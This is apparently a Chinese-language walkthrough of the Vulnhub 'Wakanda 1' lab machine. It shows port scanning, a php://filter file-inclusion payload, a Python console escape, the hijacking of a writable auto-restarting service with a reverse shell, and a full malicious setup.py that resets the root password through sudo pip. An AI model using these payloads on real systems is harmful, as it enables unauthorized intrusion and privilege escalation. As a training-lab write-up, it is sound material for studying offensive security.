Vulnhub Challenging: Wakanda 1

思路

  • 端口扫描, 整理思路
  • 80端口, 文件包含
  • 3333端口, 逃逸python
  • devops, 服务提权
  • sudo -l, 成功通关

关键点

  • 文件包含, php://filter读php代码
  • 自定义服务, 自动重启
  • sudo无密码执行pip, pip提权

端口扫描, 整理思路

1
$ nmap -sS -Pn -A -p- 10.129.10.36

Markdown
80端口, Apache httpd 2.4.10 无漏洞可用、考虑WEB漏洞
111端口, rpcbind和status无法利用 放弃
3333端口, ssh服务 搁置
53784端口, 放弃

80端口, 文件包含

查看WEB页面源码后发现一个隐藏的url, 访问之后页面内容发生改变;
Markdown

猜测此处可能的实现方法是: Sql、文件包含、文件读取、内部判断输出

  1. 尝试sql, 丢地址到sqlmap后无果 搁置
  2. 尝试文件包含, wfuzz加字典FUZZ 发现index导致响应不同
  3. 尝试文件读取, BurpSuite加字典FUZZ无果 搁置

访问:http://10.129.10.36/?lang=php://filter/read=convert.base64-encode/resource=index, 读出bash64编码的数据; 数据丢到BurpSuite解码, 拿到密码
Markdown

3333端口, 逃逸python

拿到密码后, 在html源码中找到meta字段元标签, 尝试用author的值mamadou作为用户名登陆ssh, 成功登陆
Markdown

拿到python控制台后, 运行操作系统命令bash, 逃逸python控制台

1
2
>>> import os
>>> os.system("bash")

进入mamadou主目录, 发现flag1
Markdown

devops, 服务提权

拿到bash后, 执行LinEnum.sh查找可利用点, 结果一无所获. 此时的思路是查找其他用户属主的文件, 找出其中当前用户可写的文件, 然后分析是否有利用的可能

小提示:当前账号无法查找到可利用的点时, 考虑查找其他账户属主的文件, 重点关注当前权限可写文件, 查找是否有计划任务、服务等利用该文件

1
$ find / -user devops 2>/dev/null

Markdown

发现文件/srv/.antivirus.py且当前用户可写, 查找当前文件是否被服务调用(根据LinEnum.sh的执行结果, 已排除计划任务的可能性)

1
$ grep -ri ".antivirus.py" / 2>/dev/null

Markdown

发现有服务在运行此文件, 查看服务内容

1
$ cat /lib/systemd/system/antivirus.service

Markdown

服务具有自动重启功能, 于是在文件中写入python反弹shell, 拿到devops权限的shell, 获得flag2
Markdown

sudo -l, 成功通关

运行LinEnum.sh文件, 查找devops用户中可利用的点, 发现可通过sudo无密码运行pip程序
Markdown

pip是python中用来安装模块的一款工具, python模块是可以自己构建的, 因此此处可通过自建python模块实现提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 下面这段代码改编自:https://github.com/0x00-0x00/fakepip, 感谢大神的分享
from setuptools import setup
from setuptools.command.install import install
import base64
import os


class CustomInstall(install):
def run(self):
install.run(self)
os.system('(echo "owefsad";sleep 1;echo "owefsad")|passwd>/dev/null')


setup(name='SetRootPwd',
version='0.0.1',
description='This will exploit a sudoer able to /usr/bin/pip install *',
url='',
author='owefsad',
author_email='owefsad@gmail.com',
license='MIT',
zip_safe=False,
cmdclass={'install': CustomInstall})

将上面的文件命名为setup.py, 然后放在一个空白文件夹中, 进入文件夹安装SetRootPwd模块, 即可成功修改root密码为owefsad

1
2
$ cd SetRootPwd
$ sudo pip install .

Markdown

拿到root.txt中的flag
Markdown

疑点

  1. 从mamadou提权到devops时, 需要利用antivirus服务, 服务必须出错或停止时, 才能能够重启, 然后执行反弹shell; 但是服务中原来的python代码是可以正常执行的, 为何在第一次写入反弹shell后, 可执行反弹sehll?
owefsad wechat
进击的DevSecOps,持续分享SAST/IAST/RASP的技术原理及甲方落地实践。如果你对 SAST、IAST、RASP方向感兴趣,可以扫描下方二维码关注公众号,获得更及时的内容推送。
0%